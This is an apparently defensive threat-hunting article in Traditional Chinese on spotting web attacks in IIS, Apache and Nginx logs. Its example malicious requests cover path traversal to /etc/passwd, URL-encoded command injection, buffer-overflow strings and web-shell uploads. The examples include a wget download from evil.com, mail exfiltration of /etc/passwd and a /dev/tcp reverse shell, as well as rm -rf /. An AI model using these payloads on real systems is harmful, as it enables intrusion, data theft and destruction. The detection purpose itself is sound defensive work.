Web 站點預設 80/443 端口暴露公網,是攻擊者首選目標。漏洞利用成功可導致遠程代碼執行 (RCE)、權限提升、數據洩露、網頁掛馬、勒索軟體投放。本文系統梳理 Web 服務器常見攻擊在日誌中留下的特徵痕跡,構建日誌分析與威脅狩獵知識庫。
%SystemDrive%\inetpub\logs\LogFiles\W3SVC\ (W3C 擴展日誌格式)/var/log/apache2/access.log、error.log (Combined/Common 格式)/var/log/nginx/access.log、error.logGET /../../../../etc/passwd HTTP/1.1
GET /..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
GET /.../.../.../.../windows/win.ini HTTP/1.1
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
特徵:URL 含 ..、../、URL 編碼變體、多層級遍歷、目標敏感文件。
日誌欄位:cs-uri-stem、cs-uri-query、sc-status (404/200/500)、sc-bytes 異常大。
| 攻擊向量 | 日誌特徵範例 | 說明 |
|---|---|---|
| 空格編碼 | ?page=ls%20-al、?cmd=id%20 | %20 為空格,嘗試執行 Unix 命令 |
| 反引號/命令替換 | ?input=`id`、?cmd=$(whoami) | Perl/Shell/Bash 命令替換語法 |
| 管道/重定向 | ?doh=ls%20-al%7C、?x=cat%20/etc/passwd%3E%20out.txt | %7C=|、%3E=> |
| Windows 特有 | ?path=..%5C..%5Cwindows%5Csystem32%5Ccmd.exe%3F%2Fc%2Bdir | %5C=\、%3F=?、%2B=+ |
| 下載器 | ?x=wget%20https://evil.com/sh、?x=tftp%20-i%20evil.com%20GET%20nc.exe | wget/curl/tftp/powershell/certutil/bitsadmin 下載後門 |
| 文件操作 | ?x=cat%20/etc/shadow、?x=echo%20hacked%20%3E%20index.html | 讀取密碼文件、篡改首頁 |
| 進程/系統偵察 | ?x=ps%20-aux、?x=uname%20-a、?x=netstat%20-an | 偵察運行服務、內核版本、網絡連接 |
| 破壞/清理 | ?x=rm%20-rf%20%2F、?x=kill%20-9%201、?x=chmod%20777%20%2F | 刪除文件、殺進程、修改權限 |
| 編譯/解釋 | ?x=gcc%20exploit.c、?x=python%20exploit.py、?x=perl%20exploit.pl | 本地編譯/解釋利用代碼 |
| 郵件外發 | ?x=mail%20attacker@evil.com%20%3C%20/etc/passwd | 竊取數據郵寄外發 |
| 反彈 Shell | ?x=bash%20-i%20%3E%26%20/dev/tcp/evil.com/4444%200%3E%261 | 建立反向連接獲取交互式 Shell |
| X 窗口轉發 | ?x=xterm%20-display%20192.168.1.100:0 | 遠程圖形界面轉發,-display 關鍵特徵 |
/etc/passwd, /etc/shadow, /etc/master.passwd (BSD)
/etc/motd (系統版本/公告信息)
/etc/hosts (網絡拓撲)
/usr/local/apache/conf/httpd.conf, /etc/nginx/nginx.conf (Web 配置)
/etc/inetd.conf, /etc/xinetd.d/ (服務配置)
/etc/hosts.allow, /etc/hosts.deny (TCP Wrapper)
.htpasswd, .htaccess, .htgroup (認證文件)
access_log, error_log (日誌本身,攻擊者查看/刪除痕跡)
[Drive]:\winnt\repair\sam._ 或 sam (Windows NT/2000 SAM 備份,供 l0phtcrack 破解)
GET /cgi-bin/vuln.cgi?input=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
# 超長字串、重複字符、NOP 滑板 (0x90)、Shellcode 十六進制、編碼器特徵 (Shikata Ga Nai: \xda\xc0\xd9\x74\x24\xf4...)
關鍵指標:請求長度異常大、重複模式、高熵值載荷、URL 參數值非預期格式。
POST /upload.aspx HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.aspx"GET /shell.aspx?cmd=whoami、POST /shell.aspx HTTP/1.1 ... cmd=dir+c%3A\\cmd/exec/code)、User-Agent 異常 (空/特定字符串)、Referer 為空/異常sqlmap、Nikto、Acunetix、Nessus、OpenVAS、DirBuster、Gobuster、Burp Suiteclientip、method、uri、status、bytes、ua、referer、latencylog2timeline/plaso 融合多源日誌生成超級時間線Web 日誌是攻擊者留下的「指紋」。讀懂日誌、建立規則、自動化檢測、持續狩獵,將被動日誌轉化為主動防禦情報,是藍隊核心能力。